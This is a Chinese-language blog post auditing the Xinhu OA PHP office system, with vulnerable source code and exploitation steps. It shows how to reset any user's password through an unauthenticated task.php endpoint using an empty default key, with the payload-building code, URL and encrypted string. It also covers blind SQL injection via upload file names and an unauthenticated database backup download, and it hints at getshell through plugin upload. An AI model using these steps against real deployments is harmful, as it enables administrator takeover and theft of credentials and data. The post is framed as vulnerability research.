ma4ter

Index | Photo | About | Friends | Archives

信呼oa最新版本代码审计

仅供研究参考,使用以下漏洞信息进行攻击造成的后果与作者无关。
审计这套代码的原因是看到空白师傅在群里面问 由于无聊下午就去看了看

先大概看下整套源码的路由规则这些

index.php

信呼oa最新版本代码审计

引入配置文件config.php

信呼oa最新版本代码审计rockClass这个类里面是一些过滤sql注入和xss的一些东西

信呼oa最新版本代码审计信呼oa最新版本代码审计然后将get和post传来的参数进行了防攻击全局处理

信呼oa最新版本代码审计

然后进行初始化 我们看看这个c方法

信呼oa最新版本代码审计

信呼oa最新版本代码审计

实例化插件用的 这个jm就是一个加解密插件

信呼oa最新版本代码审计

其gettoken方法相当于就是get方法获取参数 第二个参数为默认值

最后index.php包含了这个View.php

信呼oa最新版本代码审计

就是实现对应的方法了

当然这套源码的入口不止这一个 还有task.php

信呼oa最新版本代码审计

后面我看了下 只有这个task目录下面的一些可以利用 其余的大部分都要登陆

信呼oa最新版本代码审计

0x01 修改任意用户密码

看到 reimplatAction.php

public function indexAction()
  {
    $body = $this->getpostdata();
    if(!$body)return;
    $db    = m('reimplat:dept');
    $key   = $db->gethkey();
    $bodystr = $this->jm->strunlook($body, $key);
    if(!$bodystr)return;
  
    $data    = json_decode($bodystr, true);
    $msgtype = arrvalue($data,'msgtype');
    $msgevent= arrvalue($data,'msgevent');
  
    //用户状态改变停用
    if($msgtype=='subscribe'){
      $user   = arrvalue($data, 'user');
      $zt   = '0';
      if($msgevent=='yes')$zt = '1';
      if($msgevent=='stop')$zt = '2';
      $db->update('`status`='.$zt.'',"`user`='$user'");
    }
  
    //修改手机号
    if($msgtype=='editmobile'){
      $user   = arrvalue($data, 'user');
      $mobile = arrvalue($data, 'mobile');
      $where  = "`user`='$user'";
      $upstr  = "`mobile`='$mobile'";
      $db->update($upstr, $where);
      $dbs  = m('admin');
      $dbs->update($upstr,$where);
      $uid  = $dbs->getmou('id',$where);
      m('userinfo')->update($upstr,"`id`='$uid'");
    }
  
    //修改密码
    if($msgtype=='editpass'){
      $user = arrvalue($data, 'user');
      $pass = arrvalue($data, 'pass');
      if($pass && $user){
        $where  = "`user`='$user'";
        $mima   = md5($pass);
        m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);
      }
    }
  }

就这一个方法

信呼oa最新版本代码审计

很明显可以看到 得到我们的输入流 然后将其进行解密,如果$msgtype为editpass的话就可以直接修改任意用户的密码

我们看到这个getthkey方法

信呼oa最新版本代码审计

默认安装完系统这个是空的 返回的也就是空string的md5值 然后我们可以利用其strlook方法进行加密 就能成功修改密码

$test = $this->jm->strlook(json_encode(array("msgtype"=>"editpass","user"=>"admin","pass"=>"123456")), $key);
echo $test;

访问http://xinhu:8888/task.php?m=reimplat|api&a=index

得到一串加密的字符
31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEY2JnmW5uUq0:
信呼oa最新版本代码审计

然后再直接post过去就能成功修改密码

信呼oa最新版本代码审计

然后就能修改管理员密码登陆后台了

0x02 文件上传处sql盲注

前提需要登陆

信呼oa最新版本代码审计

看到upload下的upfileAjax方法

注意这一行也就是每次上传完后将其插入到数据库的一个操作

$arr  = c('down')->uploadback($upses, $thumbnail, false);

信呼oa最新版本代码审计

虽然这里经过了这个replacefile方法进行了一些过滤 但没卵用

信呼oa最新版本代码审计

我们进入后台后找一个上传头像的地方 然后修改文件名进行注入

信呼oa最新版本代码审计

当然由于盲注 利用起来也不是很好利用

0x03 未授权备份

task下的sysAction.php

信呼oa最新版本代码审计

beifen方法实例化了beifen模型类 调用start方法

可以看到直接备份了全部数据到upload/data目录下

信呼oa最新版本代码审计

访问完http://xinhu:8888/task.php?m=sys|runt&a=beifen 之后就会产生备份文件

信呼oa最新版本代码审计

文件夹命名就是时间

信呼oa最新版本代码审计

这里也能拿到管理员账号密码数据 当然貌似好像需要知道数据库前缀 我这里就是xinhu 才能down到数据

然后后台getshell就不用多说了

后台有个信呼oa最新版本代码审计

本地上传zip压缩文件安装插件的功能 懂得都懂